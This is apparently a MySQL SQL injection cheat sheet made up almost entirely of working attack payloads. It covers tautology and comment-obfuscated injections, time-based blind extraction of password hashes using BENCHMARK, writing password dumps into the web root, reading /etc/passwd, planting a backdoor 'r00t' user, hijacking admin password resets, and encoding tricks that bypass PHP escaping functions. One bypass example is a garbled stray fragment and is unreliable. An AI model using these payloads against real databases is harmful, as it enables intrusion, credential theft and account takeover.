SELECT * FROM login WHERE id = 1 or 1=1

SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Variations.



SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"



SHOW TABLES

SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES

SELECT VERSION

SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()

SELECT host,user,db from mysql.db

SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

Blind injection vectors.

Operators



SELECT 1 && 1;

SELECT 1 || 1;

SELECT 1 XOR 0;

Evaluate



all render TRUE or 1.

SELECT 0.1 <= 2;

SELECT 2 >= 2;

SELECT ISNULL(1/0);

Math



SELECT FLOOR(7 + (RAND() * 5));

SELECT ROUND(23.298, -1);

Misc



SELECT LENGTH(COMPRESS(REPEAT('a',1000)));

SELECT MD5('abc');

Benchmark



SELECT BENCHMARK(10000000,ENCODE('abc','123'));

this takes around 5 sec on a localhost



SELECT BENCHMARK(1000000,MD5(CHAR(116)))

this takes around 7 sec on a localhost



SELECT BENCHMARK(10000000,MD5(CHAR(116)))

this takes around 70 sec on a localhost

Using the timeout to check if user exists



SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login



Beware of of the N rounds, add an extra zero and it could stall or crash your

browser!

Gathering info

Table mapping



SELECT COUNT(*) FROM tablename

Field mapping



SELECT * FROM tablename WHERE user LIKE "%root%"

SELECT * FROM tablename WHERE user LIKE "%"

SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;

SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;

User mapping



SELECT * FROM tablename WHERE email = 'user@site.com';

SELECT * FROM tablename WHERE user LIKE "%root%"

SELECT * FROM tablename WHERE user = 'username'

Advanced SQL vectors

Writing info into files



SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE

'/path/location/on/server/www/passes.txt'

Writing info into files without single quotes: (example)



SELECT password FROM tablename WHERE username =

CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO

OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(

39))



Note: You must specify a new file, it may not exist! and give the correct

pathname!

The CHAR() quoteless function



SELECT * FROM login WHERE user =

CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))



SELECT * FROM login WHERE user = CHAR(39,97,39)

Extracting hashes



SELECT user FROM login WHERE user = 'root'

UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),

BENCHMARK(1000000,MD5('x')),null) FROM login

example:



SELECT user FROM login WHERE user = 'admin'

UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),

BENCHMARK(1000000,MD5('x')),null) FROM login



SELECT user FROM login WHERE user = 'admin'

UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),

BENCHMARK(1000000,MD5('x')),null) FROM login

explaining: (passwordfield,startcharacter,selectlength)



is like: (password,1,2) this selects: ‘ab’

is like: (password,1,3) this selects: ‘abc’

is like: (password,1,4) this selects: ‘abcd’



A quoteless example:



SELECT user FROM login WHERE user =

CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),

BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login



Possible chars: 0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122

Misc

Insert a new user into DB



INSERT INTO login SET user = 'r00t', pass = 'abc'

Retrieve /etc/passwd file, put it into a field and insert a new user



load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =

'r00t', pass = 'abc'



Then login!

Write the DB user away into tmp



SELECT host,user,password FROM user into outfile '/tmp/passwd';

Change admin e-mail, for “forgot login retrieval.”



UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

Bypassing PHP functions



(MySQL 4.1.x before 4.1.20 and 5.0.x)

Bypassing addslashes() with GBK encoding



WHERE x = 0xbf27admin 0xbf27

Bypassing mysql_real_escape_string() with BIG5 or GBK



"injection string"

に関する追加情報:



the above chars are Chinese Big5

Advanced Vectors

Using an HEX encoded query to bypass escaping.

Normal:



SELECT * FROM login WHERE user = 'root'

Bypass:



SELECT * FROM login WHERE user = 0x726F6F74

Inserting a new user in SQL.

Normal:



insert into login set user = ‘root’, pass = ‘root’

Bypass:



insert into login set user = 0×726F6F74, pass = 0×726F6F74

How to determin the HEX value for injection.



SELECT HEX('root');

gives you:



726F6F74

then add:



0x

before it.